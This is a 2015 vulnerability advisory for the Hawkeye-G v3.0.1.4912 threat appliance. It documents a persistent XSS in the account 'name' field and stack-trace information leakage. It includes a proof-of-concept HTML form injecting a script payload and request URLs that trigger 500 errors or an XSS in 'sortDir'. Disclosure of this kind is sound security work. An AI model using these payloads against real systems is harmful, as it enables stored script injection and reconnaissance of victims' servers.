Hawkeye-G 3.0.1.4912 Cross Site Scripting / Information Leakage

`[+] Credits: John Page ( hyp3rlinx )  
  
[+] Domains: hyp3rlinx.altervista.org  
  
[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-HAWKEYEG0725.txt  
  
  
  
Vendor:  
================================  
www.hexiscyber.com  
  
  
  
Product:  
================================  
Hawkeye-G v3.0.1.4912  
  
Hawkeye G is an active defense disruptive technology that  
detects, investigates, remediates and removes cyber threats  
within the network.  
  
  
  
Vulnerability Type:  
=============================================  
Persistent XSS & Server Information Leakage  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Advisory Information:  
=====================================================================  
  
Persistent XSS:  
---------------  
  
Hexis cyber Hawkeye-G network threat appliance is vulnerable to  
persistent XSS injection when adding device accounts to the system.  
The appliance contains an endpoint sensor that collects client  
information to report back to the Hawkeye-G web interface.  
  
When adding device accounts to the system XSS payloads supplied to the  
vulnerable id parameter 'name' will be stored in database and executed each  
time certain threat appliance webpages are visited.  
  
  
Server Information Disclosure:  
-----------------------------  
  
We can force internal server 500 errors that leak back end information's.  
Stack traces are echoed out to the end user instead of being suppressed  
this can give attackers valuable information into the system internals  
possibly helping attackers in crafting more specific types of attacks.  
  
  
  
Exploit code(s):  
===============  
  
Persistent XSS:  
---------------  
  
<form id="exploit" action="  
https://localhost:8443/interface/rest/accounts/json" method="post">  
<input type="text" name="human" value="true" />  
<input type="text" name="name" value="<script>alert(666)</script>" />  
<input type="text" name="domainId" value=""/>  
<input type="text" name="domain_id" value="" />  
<input type="text" name="roving" value="false" />  
</form>  
  
Accessing URL will execute malicious XSS stored in Hawkeye-G backend  
database.  
https://localhost:8443/interface/app/#/account-management  
  
vulnerable parameter:  
'name'  
  
<input placeholder="Name" ng-model="record.name" id="name"  
class="formeditbox ng-pristine ng-invalid ng-invalid-required ng-touched"  
name="name" required="" ng-disabled="record.guid">  
  
  
Server Information Leakage:  
---------------------------  
  
These examples will result in 500 internal server error info disclosures:  
  
1-  
https://localhost:8443/interface/rest/threatfeeds/pagedJson?namePattern=&page=0&size=25&sortCol=address&sortDir=%22/%3E%3Cscript%3Ealert%280%29%3C/script%3E  
  
2-  
https://localhost:8443/interface/rest/mitigationWhitelist/paged?namePattern=WEB-INF/web.xml&page=0&size=0&source-filter=  
  
  
  
Disclosure Timeline:  
=========================================================  
  
  
Vendor Notification: June 30, 2015  
July 25, 2015 : Public Disclosure  
  
  
  
Severity Level:  
=========================================================  
High  
  
  
  
Description:  
==========================================================  
  
  
Request Method(s): [+] POST & GET  
  
  
Vulnerable Product: [+] Hawkeye-G v3.0.1.4912  
  
  
Vulnerable Parameter(s): [+] name, namePattern, sortDir  
  
  
Affected Area(s): [+] Network Threat Appliance  
  
  
===========================================================  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit is given to  
the author. The author is not responsible for any misuse of the information  
contained herein and prohibits any malicious use of all security related  
information or exploits by the author or elsewhere.  
  
by hyp3rlinx  
`